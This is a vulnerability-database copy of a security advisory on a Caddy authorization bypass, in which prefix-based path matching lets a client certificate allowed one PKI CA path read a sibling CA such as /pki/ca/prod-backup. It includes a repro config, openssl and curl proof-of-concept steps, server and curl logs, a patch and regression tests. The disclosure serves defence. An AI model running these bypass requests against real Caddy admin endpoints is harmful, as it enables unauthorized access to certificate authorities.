Vulnerability Database

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Total vulnerabilities in the database

Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching — github.com/caddyserver/caddy/v2

Incorrect Authorization

AI Disclosure

I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v.

Summary

Caddy's remote admin access control performs path authorization using prefix matching:

  • admin.go: strings.HasPrefix(r.URL.Path, allowedPath)

This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup.

This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.

Affected Component

Remote admin access control for PKI admin endpoints.

Relevant code:

Root Cause

In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this:

for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } }

This does not enforce a path-segment boundary.

So if the allowed path is:

/pki/ca/prod

then all of the following are treated as authorized:

  • /pki/ca/prod-backup
  • /pki/ca/prod1
  • /pki/ca/prodanything

For PKI admin endpoints, the CA ID is taken directly from the request path:

  • modules/caddypki/adminapi.go:164

So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.

Security Impact

A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.

This breaks least-privilege remote admin policies and results in authenticated authorization bypass.

Minimal Configuration

File: repro.json

{ "admin": { "listen": "127.0.0.1:2019", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2021", "access_control": [ { "public_keys": ["<CLIENT_CERT_BASE64_DER>"], "permissions": [ { "methods": ["GET"], "paths": ["/pki/ca/prod"] } ] } ] } }, "apps": { "pki": { "certificate_authorities": { "prod": { "name": "prod" }, "prod-backup": { "name": "prod-backup" } } } } }

Reproduction Steps From Scratch

1. Generate a client certificate

openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt

2. Convert the client certificate to base64 DER

CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

3. Put that value into repro.json

Replace:

<CLIENT_CERT_BASE64_DER>

with the value of CLIENT_CERT_B64.

4. Run Caddy

go run ./cmd/caddy run --config ./repro.json

5. Confirm access to the intended allowed path

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod

Expected result:

  • HTTP/1.1 200 OK

6. Request a different CA whose path shares the same prefix

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup

Expected secure behavior:

  • HTTP/1.1 403 Forbidden

Actual behavior:

  • HTTP/1.1 200 OK

Precise HTTP Requests and Output

Allowed path

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod

Response excerpt:

&gt; GET /pki/ca/prod HTTP/1.1 &gt; Host: localhost:2021 &gt; User-Agent: curl/8.5.0 &gt; Accept: */* &gt; &lt; HTTP/1.1 200 OK &lt; Content-Type: application/json

Unauthorized sibling path that is incorrectly allowed

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup

Response excerpt:

&gt; GET /pki/ca/prod-backup HTTP/1.1 &gt; Host: localhost:2021 &gt; User-Agent: curl/8.5.0 &gt; Accept: */* &gt; &lt; HTTP/1.1 200 OK &lt; Content-Type: application/json

The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.

Full Log Output

sever :

root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json 2026/03/19 13:58:13.747 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/19 13:58:13.747 INFO GOMEMLIMIT is updated {&quot;GOMEMLIMIT&quot;: 26273105510, &quot;previous&quot;: 9223372036854775807} 2026/03/19 13:58:13.747 INFO using config from file {&quot;file&quot;: &quot;/caddy/repro.json&quot;} 2026/03/19 13:58:13.757 INFO admin admin endpoint started {&quot;address&quot;: &quot;127.0.0.1:2019&quot;, &quot;enforce_origin&quot;: false, &quot;origins&quot;: [&quot;//localhost:2019&quot;, &quot;//[::1]:2019&quot;, &quot;//127.0.0.1:2019&quot;]} 2026/03/19 13:58:13.757 WARN pki.ca.prod installing root certificate (you might be prompted for password) {&quot;path&quot;: &quot;storage:pki/authorities/prod/root.crt&quot;} 2026/03/19 13:58:13.757 INFO warning: &quot;certutil&quot; is not available, install &quot;certutil&quot; with &quot;apt install libnss3-tools&quot; or &quot;yum install nss-tools&quot; and try again 2026/03/19 13:58:13.757 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:14.406 INFO certificate installed properly in linux trusts 2026/03/19 13:58:14.406 WARN pki.ca.prod-backup installing root certificate (you might be prompted for password) {&quot;path&quot;: &quot;storage:pki/authorities/prod-backup/root.crt&quot;} 2026/03/19 13:58:14.407 INFO warning: &quot;certutil&quot; is not available, install &quot;certutil&quot; with &quot;apt install libnss3-tools&quot; or &quot;yum install nss-tools&quot; and try again 2026/03/19 13:58:14.407 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:15.038 INFO certificate installed properly in linux trusts 2026/03/19 13:58:15.045 INFO admin.identity.cache.maintenance started background certificate maintenance {&quot;cache&quot;: &quot;0xc0006a4480&quot;} 2026/03/19 13:58:15.046 INFO admin.remote secure admin remote control endpoint started {&quot;address&quot;: &quot;127.0.0.1:2021&quot;} 2026/03/19 13:58:15.046 INFO admin.identity.obtain acquiring lock {&quot;identifier&quot;: &quot;localhost&quot;} 2026/03/19 13:58:15.046 INFO autosaved config (load with --resume flag) {&quot;file&quot;: &quot;/root/.config/caddy/autosave.json&quot;} 2026/03/19 13:58:15.046 INFO serving initial configuration 2026/03/19 13:58:15.047 INFO admin.identity.obtain lock acquired {&quot;identifier&quot;: &quot;localhost&quot;} 2026/03/19 13:58:15.047 INFO admin.identity.obtain obtaining certificate {&quot;identifier&quot;: &quot;localhost&quot;} 2026/03/19 13:58:15.049 INFO admin.identity.obtain certificate obtained successfully {&quot;identifier&quot;: &quot;localhost&quot;, &quot;issuer&quot;: &quot;local&quot;} 2026/03/19 13:58:15.049 INFO admin.identity.obtain releasing lock {&quot;identifier&quot;: &quot;localhost&quot;} 2026/03/19 13:58:15.050 WARN admin.identity stapling OCSP {&quot;identifiers&quot;: [&quot;localhost&quot;]} 2026/03/19 13:59:36.896 INFO admin.api received request {&quot;method&quot;: &quot;GET&quot;, &quot;host&quot;: &quot;localhost:2021&quot;, &quot;uri&quot;: &quot;/pki/ca/prod&quot;, &quot;remote_ip&quot;: &quot;127.0.0.1&quot;, &quot;remote_port&quot;: &quot;40728&quot;, &quot;headers&quot;: {&quot;Accept&quot;:[&quot;*/*&quot;],&quot;User-Agent&quot;:[&quot;curl/8.5.0&quot;]}, &quot;secure&quot;: true, &quot;verified_chains&quot;: 1} 2026/03/19 14:00:24.102 INFO admin.api received request {&quot;method&quot;: &quot;GET&quot;, &quot;host&quot;: &quot;localhost:2021&quot;, &quot;uri&quot;: &quot;/pki/ca/prod-backup&quot;, &quot;remote_ip&quot;: &quot;127.0.0.1&quot;, &quot;remote_port&quot;: &quot;60490&quot;, &quot;headers&quot;: {&quot;Accept&quot;:[&quot;*/*&quot;],&quot;User-Agent&quot;:[&quot;curl/8.5.0&quot;]}, &quot;secure&quot;: true, &quot;verified_chains&quot;: 1} 2026/03/19 14:00:33.774 INFO admin.api received request {&quot;method&quot;: &quot;GET&quot;, &quot;host&quot;: &quot;localhost:2021&quot;, &quot;uri&quot;: &quot;/pki/ca/prod-backup&quot;, &quot;remote_ip&quot;: &quot;127.0.0.1&quot;, &quot;remote_port&quot;: &quot;46918&quot;, &quot;headers&quot;: {&quot;Accept&quot;:[&quot;*/*&quot;],&quot;User-Agent&quot;:[&quot;curl/8.5.0&quot;]}, &quot;secure&quot;: true, &quot;verified_chains&quot;: 1}

curl :

root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 13:58:15 2026 GMT * expire date: Mar 20 01:58:15 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x &gt; GET /pki/ca/prod HTTP/1.1 &gt; Host: localhost:2021 &gt; User-Agent: curl/8.5.0 &gt; Accept: */* &gt; * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): &lt; HTTP/1.1 200 OK &lt; Content-Type: application/json &lt; Date: Thu, 19 Mar 2026 13:59:36 GMT &lt; Content-Length: 1410 &lt; {&quot;id&quot;:&quot;prod&quot;,&quot;name&quot;:&quot;prod&quot;,&quot;root_common_name&quot;:&quot;prod - 2026 ECC Root&quot;,&quot;intermediate_common_name&quot;:&quot;prod - ECC Intermediate&quot;,&quot;root_certificate&quot;:&quot;-----BEGIN CERTIFICATE-----\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\n4LabLA==\n-----END CERTIFICATE-----\n&quot;,&quot;intermediate_certificate&quot;:&quot;-----BEGIN CERTIFICATE-----\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact DQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6 curl -vk \2CdQNYGrH10qYPhO\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\n-----END CERTIFICATE-----\n&quot;} root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod-backup * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 13:58:15 2026 GMT * expire date: Mar 20 01:58:15 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x &gt; GET /pki/ca/prod-backup HTTP/1.1 &gt; Host: localhost:2021 &gt; User-Agent: curl/8.5.0 &gt; Accept: */* &gt; * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): &lt; HTTP/1.1 200 OK &lt; Content-Type: application/json &lt; Date: Thu, 19 Mar 2026 14:00:33 GMT &lt; Content-Length: 1476 &lt; {&quot;id&quot;:&quot;prod-backup&quot;,&quot;name&quot;:&quot;prod-backup&quot;,&quot;root_common_name&quot;:&quot;prod-backup - 2026 ECC Root&quot;,&quot;intermediate_common_name&quot;:&quot;prod-backup - ECC Intermediate&quot;,&quot;root_certificate&quot;:&quot;-----BEGIN CERTIFICATE-----\nMIIBjjCCATWgAwIBAgIQT1WaOdq8CllHL5S6sAnk8TAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMzYwMTI2MTM1ODEzWjAmMSQwIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIw\nMjYgRUNDIFJvb3QwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT0+xx/GaeAr+/I\nZcKDeqZ068wOshKbcqydNJauAgbip7i88d76qYyQr+X7ooMYcmRV445suZ0NHn00\ndGIjpStZo0UwQzAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBATAd\nBgNVHQ4EFgQU9oZZqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDRwAwRAIg\ncXbK46l4eAyrW3y9sgUBcheutkytG0d2cqgD67HuqdQCICI8E2O42zfz1afR/Joj\nalNeF17VljePo75gPjIOp5kv\n-----END CERTIFICATE-----\n&quot;,&quot;intermediate_certificate&quot;:&quot;-----BEGIN CERTIFICATE-----\nMIIBtDCCAVmgAwIBAgIQFJSHXX6ao3EgdKjGdRXeiDAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMjYwMzI2MTM1ODEzWjApMScwJQYDVQQDEx5wcm9kLWJhY* Connection #0 to host localhost left intact 2t1cCAtIEVD\nQyBJbnRlcm1lZGlhdGUwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARbdjKxj1Ce\n4iCF1dbKGgsob9jH29DiUow/0yNJ6Cb7IBh0mAKK0y/nU+C6IfcFBgFOmla8wHhI\njyKVLy38Jb87o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB\nADAdBgNVHQ4EFgQUescC8F6u/krP+iw9Uc2FpqrorG0wHwYDVR0jBBgwFoAU9oZZ\nqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDSQAwRgIhANm2Zxrs2q6JI5B0\nmMh4PWJM9ilOu/0C/jTMSK3otqEqAiEAor00ItWkpcgLpXI4lRbefzeTM+f8yr6V\nXryCbtlyT38=\n-----END CERTIFICATE-----\n&quot;}

Why This Is Not Just Misconfiguration

The configuration explicitly attempts to restrict access to:

/pki/ca/prod

The unsafe behavior is caused by Caddy's implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written.

Suggested Fix

Path authorization should allow:

  • exact match, or
  • subpath match only when the next character is /

For example:

func pathAllowed(reqPath, allowedPath string) bool { if reqPath == allowedPath { return true } return strings.HasPrefix(reqPath, allowedPath+&quot;/&quot;) }

This preserves intended access to subresources like:

  • /pki/ca/prod/certificates

while correctly denying sibling resources like:

  • /pki/ca/prod-backup

Working Patch

diff --git a/admin.go b/admin.go index 0000000..0000000 100644 --- a/admin.go +++ b/admin.go @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error { // verify path pathFound := accessPerm.Paths == nil for _, allowedPath := range accessPerm.Paths { - if strings.HasPrefix(r.URL.Path, allowedPath) { - pathFound = true + if r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+&quot;/&quot;) { + pathFound = true break } }

Why the Patch Works

The patch changes authorization from naive prefix matching to segment-aware matching.

This allows:

  • /pki/ca/prod
  • /pki/ca/prod/certificates

but denies:

  • /pki/ca/prod-backup
  • /pki/ca/prod1

which is consistent with the configured path policy.

Suggested Regression Tests

At minimum:

  1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.
  2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.
  3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.
  4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.
  • Published: May 19, 2026
  • Updated: Jun 5, 2026
  • GHSA: GHSA-gx7w-56w6-g48x
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Low
  • Score: 4.3
  • AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWEs:

Software From Fixed in
Go icon github.com/caddyserver/caddy/v2 - 2.11.3

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